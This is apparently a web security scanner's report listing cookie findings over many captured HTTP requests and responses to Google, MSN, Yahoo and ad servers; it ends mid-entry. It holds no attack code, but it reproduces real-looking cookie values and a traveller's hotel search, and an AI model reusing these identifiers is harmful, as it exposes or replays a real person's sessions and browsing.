GET /verify/EAAAAIUFIolnpKwmOAKbBVumOsA.gif HTTP/1.1 Host: id.google.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SNID=43=3vQhgRVNB3h3QLsaTkCSkHIiOnaN2Jby-UMzZZUUQg=avCM2zCK3xcw-GGm; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=43=QvwfTsBLG0fY_tCzmQcl5S01_3iEzOWMtfTt7pnwqvW9z0YwdoapJxj1G3iMc9VVflP4ZgfthP6beVczqAQ07TzamFD1mLXnRq6Jo4UMiZbB1HugDq4PXprcSp8yxFS7
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /verify/EAAAAIUFIolnpKwmOAKbBVumOsA.gif HTTP/1.1 Host: id.google.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SNID=43=3vQhgRVNB3h3QLsaTkCSkHIiOnaN2Jby-UMzZZUUQg=avCM2zCK3xcw-GGm; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=43=QvwfTsBLG0fY_tCzmQcl5S01_3iEzOWMtfTt7pnwqvW9z0YwdoapJxj1G3iMc9VVflP4ZgfthP6beVczqAQ07TzamFD1mLXnRq6Jo4UMiZbB1HugDq4PXprcSp8yxFS7
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /verify/EAAAAM7b2OjFQ5ateN5qC1yJ4pM.gif HTTP/1.1 Host: id.google.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/shop/hotelsearch?type=hotel&hotel.typeOfSearch=keyword&hotel.locationKeywordInput.key=Boston%2C+MA%2C+United+States&hotel.locId=loc.pid%3A11231&hotel.locationAddressInput.addressInput.countryCode=US&hotel.locationAddressInput.addressInput.addressLine1=&hotel.locationAddressInput.addressInput.city=&hotel.locationAddressInput.addressInput.stateProvinceCode=&hotel.locationAddressInput.addressInput.postalCode=&hotel.hotelSearchDetails.checkinDate=02%2F01%2F11&hotel.hotelSearchDetails.checkoutDate=02%2F02%2F11&hotel.hotelSearchDetails.numberOfRooms=1&hotel.hotelSearchDetails.rooms%5B0%5D.numberOfAdults=2&hotel.hotelSearchDetails.rooms%5B1%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B2%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B3%5D.numberOfAdults=1&hotel.hotelRating=&hotel.hotelChain=&hotel.hotelName=&hotel.couponCode=&search=Search Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SNID=43=dXxArotuJyDYQ1VQrpKm701uNT9DB3GX-tg4wIuY7Q=dcvOXnVctesqr6XP; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=43=pmnSJWiZwGth09kNohAMwJvIpkIdJSJlqyMqx-omPXiSQSzkkNSHqGwv9A9J-zJ5JWsywblLTMJRa23z5AiuJrUbUWrTlS9i8IOD2l1hjJpMR5EY4CTSxmfm-gxCfk12; SSDATA-DOMAIN=ikjREw(0:; TZ=360
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /verify/EAAAAMVVh-syzGBXI20HkVGrij0.gif HTTP/1.1 Host: id.google.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/shop/hotelsearch?type=hotel&hotel.typeOfSearch=keyword&hotel.locationKeywordInput.key=Boston%2C+MA%2C+United+States&hotel.locId=loc.pid%3A11231&hotel.locationAddressInput.addressInput.countryCode=US&hotel.locationAddressInput.addressInput.addressLine1=&hotel.locationAddressInput.addressInput.city=&hotel.locationAddressInput.addressInput.stateProvinceCode=&hotel.locationAddressInput.addressInput.postalCode=&hotel.hotelSearchDetails.checkinDate=02%2F01%2F11&hotel.hotelSearchDetails.checkoutDate=02%2F02%2F11&hotel.hotelSearchDetails.numberOfRooms=1&hotel.hotelSearchDetails.rooms%5B0%5D.numberOfAdults=2&hotel.hotelSearchDetails.rooms%5B1%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B2%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B3%5D.numberOfAdults=1&hotel.hotelRating=&hotel.hotelChain=&hotel.hotelName=&hotel.couponCode=&search=Search Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SNID=43=vfjbZi4yW7r7c1JCp0YiJDoKwrqHg4Hplt3AHByalQ=ZoD319s-lagJ69TX; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=43=pmnSJWiZwGth09kNohAMwJvIpkIdJSJlqyMqx-omPXiSQSzkkNSHqGwv9A9J-zJ5JWsywblLTMJRa23z5AiuJrUbUWrTlS9i8IOD2l1hjJpMR5EY4CTSxmfm-gxCfk12; SSDATA-DOMAIN=ikjREw(0:; TZ=360
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /verify/EAAAANQX8mNlPuHuy5T3Ad-9QzA.gif HTTP/1.1 Host: id.google.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/shop/hotelsearch?type=hotel&hotel.typeOfSearch=keyword&hotel.locationKeywordInput.key=Boston%2C+MA%2C+United+States&hotel.locId=loc.pid%3A11231&hotel.locationAddressInput.addressInput.countryCode=US&hotel.locationAddressInput.addressInput.addressLine1=&hotel.locationAddressInput.addressInput.city=&hotel.locationAddressInput.addressInput.stateProvinceCode=&hotel.locationAddressInput.addressInput.postalCode=&hotel.hotelSearchDetails.checkinDate=02%2F01%2F11&hotel.hotelSearchDetails.checkoutDate=02%2F02%2F11&hotel.hotelSearchDetails.numberOfRooms=1&hotel.hotelSearchDetails.rooms%5B0%5D.numberOfAdults=2&hotel.hotelSearchDetails.rooms%5B1%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B2%5D.numberOfAdults=1&hotel.hotelSearchDetails.rooms%5B3%5D.numberOfAdults=1&hotel.hotelRating=&hotel.hotelChain=&hotel.hotelName=&hotel.couponCode=&search=Search Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SNID=43=vfjbZi4yW7r7c1JCp0YiJDoKwrqHg4Hplt3AHByalQ=ZoD319s-lagJ69TX; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=43=pmnSJWiZwGth09kNohAMwJvIpkIdJSJlqyMqx-omPXiSQSzkkNSHqGwv9A9J-zJ5JWsywblLTMJRa23z5AiuJrUbUWrTlS9i8IOD2l1hjJpMR5EY4CTSxmfm-gxCfk12; SSDATA-DOMAIN=ikjREw(0:; TZ=360
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:$UID HTTP/1.1 Host: image2.pubmatic.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: KRTBCOOKIE_58=1344-CA-00000000456885722; KRTBCOOKIE_57=476-uid:4760492999213801733; KRTBCOOKIE_133=1873-6ch47d7o8wtv; KRTBCOOKIE_80=1336-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.&KRTB&1685-82d726c3-44ee-407c-85c4-39a0b0fc11ef.30767.16681.; KRTBCOOKIE_148=1699-uid:D8DB51BF08484217F5D14AB47F4002AD; KRTBCOOKIE_22=488-pcv:1|uid:3011330574290390485; KRTBCOOKIE_16=226-uid:3271971346728586924; pubfreq_26263=207-2; PUBRETARGET=82_1389464380.78_1389464380.1113_1297450679.806_1325962677.1039_1297450683.445_1302634725.825_1297450726.1834_1297470581.1444_1298250150; KTPCACOOKIE=YES; PMDTSHR=; KADUSERCOOKIE=4AC32DB0-0B6A-48EE-BE74-FD6E7D9BC764; KRTBCOOKIE_153=1923-41yKvrFZ3L_6C466tA2Vu-Rdi-v6AY_r4FlErZjJ; pubtime_26263=TMC;
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:32:10 GMT Server: Apache/2.2.4 (Unix) DAV/2 mod_fastcgi/2.4.2 Set-Cookie: KRTBCOOKIE_148=1699-uid:$UID; domain=pubmatic.com; expires=Fri, 01-Feb-2013 15:32:10 GMT; path=/ Set-Cookie: PUBRETARGET=82_1389464380.78_1389464380.1113_1297450679.806_1325962677.1039_1297450683.445_1302634725.825_1297450726.1834_1297470581.1444_1298250150; domain=pubmatic.com; expires=Sat, 11-Jan-2014 18:19:40 GMT; path=/ Content-Length: 42 P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private Pragma: no-cache Connection: close Content-Type: image/gif
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /images HTTP/1.1 Host: images.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://images.google.com/imghp"> ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /w3c/p3p.xml HTTP/1.1 Host: info.yahoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:34:53 GMT Set-Cookie: B=5tvhlp96kga0t&b=3&s=7g; expires=Tue, 01-Feb-2013 20:00:00 GMT; path=/; domain=.yahoo.com P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Last-Modified: Fri, 26 Sep 2008 21:45:52 GMT Accept-Ranges: bytes Content-Length: 273 Connection: close Content-Type: application/xml Cache-Control: private
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
//Vermont-12.4.0-1012 var rsi_now= new Date(); var rsi_csid= 'F08747';if(typeof(csids)=="undefined"){var csids=[rsi_csid];}else{csids.push(rsi_csid);};function rsiClient(Da){this._rsiaa=Da;this._rsiba ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh/v/x3d78/x26 HTTP/1.1 Host: khm0.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=597da63009975a31:TM=1296660737:LM=1296660737:S=dj3MDnS0o7lzEybf; expires=Fri, 01-Feb-2013 15:32:17 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Date: Wed, 02 Feb 2011 15:32:17 GMT Server: btfe Content-Length: 1368 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh/v/x3d78/x26 HTTP/1.1 Host: khm1.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=6150361c4ff61aec:TM=1296660738:LM=1296660738:S=KMYUbLyfTtUioz77; expires=Fri, 01-Feb-2013 15:32:18 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Date: Wed, 02 Feb 2011 15:32:18 GMT Server: btfe Content-Length: 1368 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh HTTP/1.1 Host: khmdb0.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=f9ac3558c946f1bf:TM=1296574515:LM=1296574515:S=GYTuoTJIwZnulK74; expires=Thu, 31-Jan-2013 15:35:15 GMT; path=/; domain=.google.com Date: Tue, 01 Feb 2011 15:35:15 GMT Server: btfe Content-Length: 1356 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /kh HTTP/1.1 Host: khmdb1.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Set-Cookie: PREF=ID=0f7b297aa78cda55:TM=1296574516:LM=1296574516:S=u4YfcXlDueAKsrh4; expires=Thu, 31-Jan-2013 15:35:16 GMT; path=/; domain=.google.com Date: Tue, 01 Feb 2011 15:35:16 GMT Server: btfe Content-Length: 1356 X-XSS-Protection: 1; mode=block Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <title>404 Not Found</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A {fon ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /KonaGet.js HTTP/1.1 Host: kona32.kontera.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 200 OK Content-Type: text/plain Content-Length: 17 Set-Cookie: KONA_USER_GUID=123B26B2-2E10-11E0-80DD-00163E201266; expires=Fri, 31-Dec-2020 23:59:59 GMT; path=/; domain=.kontera.com Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: latino.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:32:57 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA12 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=2a12c3db76554c88bcc15f3d1972d7d1; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=446F7968FE604E76BC57FDFC6FE2F8F8; domain=.msn.com; expires=Sun, 21-Aug-2011 15:32:57 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 31394
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv=" ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /relationships/ HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:33:36 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA14 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=19b8b919321c4b70a4c56228d47fe5d7; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D7D346F140D24800A7F7C7D8AE9E7587; domain=.msn.com; expires=Sun, 21-Aug-2011 15:33:36 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 37351
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv=" ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /relationships/staticslideshowglamour.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:23 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA14 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=f9e342628c86424dbe17a9b36721ff3e; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=510B51B44D8441759249F9B01D1FC431; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:23 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 34781
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /relationships/your-money-today/article.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 01 Feb 2011 15:35:22 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA15 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Location: http://lifestyle.msn.com/relationships/articleindex.aspx Set-Cookie: MC1=V=3&GUID=aed3eab0d2944a70a4acb0f61a52979f; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=A244C42C3EB543068F140045C0B53D89; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:22 GMT; path=/ Cache-Control: no-cache Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-home/cleaning-organizing/staticslideshowrs.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:28 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA09 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=410267d1726a48e480f7cffabbfdbf02; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D8AA77AA6972477889BB0708E24E1D83; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:28 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 44793
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-life/family-fun/staticslideshowrs.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:27 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA15 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=fcb37a0085454e42a154dc796c3627c6; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=587C4F381A484F638F5133EFD31A25BE; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:27 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 33334
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-life/new-year-new-you/article.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 01 Feb 2011 15:35:25 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA13 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Location: http://lifestyle.msn.com/your-life/bigger-picture/default.aspx Set-Cookie: MC1=V=3&GUID=86c5ac9c5d5248acbd08455e21fd0f6c; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=D57F67F0B6374E41BE43B798CE54D9DE; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:25 GMT; path=/ Cache-Control: no-cache Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/ HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:32:59 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA13 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=15f7dd757e1f4dd29c256ddabb4fbc01; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=8F8656FEF23A4A4BB26DBD1791075CFD; domain=.msn.com; expires=Sun, 21-Aug-2011 15:32:59 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 36572
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml"><head><meta http-e ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/celebrity-style/staticslideshowmc.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:19 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA10 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=db3e8205e43d4e5eaa57a6d1324745b7; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=ADBCA3C4A108460A871E079DD85C62EB; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:19 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 38689
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/everyday-style/staticslideshowglamour.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:35:17 GMT Server: Microsoft-IIS/6.0 P3P:CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" S: BLUMPPRENA15 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Pragma: no-cache Set-Cookie: MC1=V=3&GUID=3f5abd0dc0f84cbe94df6230af2ee06c; domain=.msn.com; expires=Mon, 04-Oct-2021 16:00:00 GMT; path=/ Set-Cookie: MUID=25F4103F0B9D43649A7DDF5A83578845; domain=.msn.com; expires=Sat, 20-Aug-2011 15:35:17 GMT; path=/ Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 47565
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xml:lang="en-us" lang="en-us" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://w ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /your-look/everyday-style/staticslideshowlucky.aspx HTTP/1.1 Host: lifestyle.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
